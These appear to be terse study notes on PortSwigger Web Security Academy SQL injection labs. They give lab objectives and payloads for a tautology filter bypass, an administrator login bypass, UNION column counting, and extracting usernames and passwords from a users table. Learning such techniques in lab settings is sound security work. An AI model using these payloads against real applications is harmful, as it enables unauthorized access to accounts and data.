

Website : [Dashboard | Web Security Academy - PortSwigger](#)

Tools : Burpsuite ,firefox,foxyproxy VPN

Attack SQL injection

LAB 1 : **SQL injection vulnerability in WHERE clause allowing retrieval of hidden data**

Objective : find some extra data present in table or not

Steps : target <-> URL encoder <-> ' +OR+1=1--

LAB 2 : **SQL injection vulnerability allowing login bypass**

Objective : bypass the login

Steps : open login page <-> enter administrator' - <-> any password

LAB 3 : **SQL injection UNION attack, determining the number of columns returned by the query**

Objective : to find how many column present in table

Steps : URL <-> ' +UNION+SELECT+NULL-- <-> ' +UNION+SELECT+NULL ,NULL--

LAB 4 : **SQL injection UNION attack, determining the number of columns returned by the query**

Objective : Determine the number of columns that are being returned by the query.

Steps : ' +UNION+SELECT+NULL ,NULL ,NULL--

' +UNION+SELECT+NULL , 'abcdef' ,NULL--

LAB 5 : **SQL injection UNION attack, retrieving data from other tables**

Objective : To retrieve username and password by using burpsuite

Steps : Proxy - Intercept on <-> Target - Category=Accessories - Send to Repeater <-> Repeater-

Accessories-inspector -URL -encoding <-> enter 'UNION SELECT username,password FROM users-- <-> {response raw check user name password }